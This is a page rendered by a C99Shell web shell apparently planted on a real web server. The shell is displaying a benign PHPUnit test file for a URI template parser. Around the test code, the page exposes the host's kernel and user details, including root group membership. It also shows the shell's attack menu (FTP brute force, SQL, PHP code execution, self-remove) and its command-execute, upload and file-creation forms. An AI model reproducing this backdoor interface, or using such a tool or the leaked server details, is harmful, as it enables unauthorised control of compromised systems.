!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html/vendor/rize/uri-template/tests/Rize/Uri/Node/   drwxr-xr-x
Free 25.71 GB of 117.98 GB (21.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ParserTest.php (3.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use PHPUnit\Framework\Attributes\Depends;
use 
Rize\UriTemplate;
use 
Rize\UriTemplate\Node;
use 
Rize\UriTemplate\Operator;
use 
Rize\UriTemplate\Parser;
use 
PHPUnit\Framework\TestCase;

class 
ParserTest extends TestCase
{
    protected function 
service()
    {
        return new 
Parser();
    }

    public function 
testParseTemplate()
    {
        
$input 'http://www.example.com/{term:1}/{term}/{test*}/foo{?query,number}';
        
$expected = [new Node\Literal('http://www.example.com/'), new Node\Expression(
            
'term:1',
            
Operator\Abstraction::createById(''),
            [new 
Node\Variable(
                
'term:1',
                [
'modifier' => ':''value'    => 1],
            )],
        ), new 
Node\Literal('/'), new Node\Expression(
            
'term',
            
Operator\Abstraction::createById(''),
            [new 
Node\Variable(
                
'term',
                [
'modifier' => null'value'    => null],
            )],
        ), new 
Node\Literal('/'), new Node\Expression(
            
'test*',
            
Operator\Abstraction::createById(''),
            [new 
Node\Variable(
                
'test',
                [
'modifier' => '*''value'    => null],
            )],
        ), new 
Node\Literal('/foo'), new Node\Expression(
            
'query,number',
            
Operator\Abstraction::createById('?'),
            [new 
Node\Variable(
                
'query',
                [
'modifier' => null'value'    => null],
            ), new 
Node\Variable(
                
'number',
                [
'modifier' => null'value'    => null],
            )],
        )];

        
$service $this->service();
        
$actual  $service->parse($input);

        
$this->assertEquals($expected$actual);
    }

    public function 
testParseTemplateWithLiteral()
    {
        
// will pass
        
$uri = new UriTemplate('http://www.example.com/v1/company/', []);
        
$params $uri->extract('/{countryCode}/{registrationNumber}/test{.format}''/gb/0123456/test.json');
        static::
assertEquals(['countryCode' => 'gb''registrationNumber' => '0123456''format' => 'json'], $params);
    }

    #[
Depends('testParseTemplateWithLiteral')]
    public function 
testParseTemplateWithTwoVariablesAndDotBetween()
    {
        
// will fail
        
$uri = new UriTemplate('http://www.example.com/v1/company/', []);
        
$params $uri->extract('/{countryCode}/{registrationNumber}{.format}''/gb/0123456.json');
        static::
assertEquals(['countryCode' => 'gb''registrationNumber' => '0123456''format' => 'json'], $params);
    }

    #[
Depends('testParseTemplateWithLiteral')]
    public function 
testParseTemplateWithTwoVariablesAndDotBetweenStrict()
    {
        
// will fail
        
$uri = new UriTemplate('http://www.example.com/v1/company/', []);
        
$params $uri->extract('/{countryCode}/{registrationNumber}{.format}''/gb/0123456.json'true);
        static::
assertEquals(['countryCode' => 'gb''registrationNumber' => '0123456''format' => 'json'], $params);
    }

    #[
Depends('testParseTemplateWithLiteral')]
    public function 
testParseTemplateWithThreeVariablesAndDotBetweenStrict()
    {
        
// will fail
        
$uri = new UriTemplate('http://www.example.com/v1/company/', []);
        
$params $uri->extract('/{countryCode}/{registrationNumber}{.namespace}{.format}''/gb/0123456.company.json');
        static::
assertEquals(['countryCode' => 'gb''registrationNumber' => '0123456''namespace' => 'company''format' => 'json'], $params);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--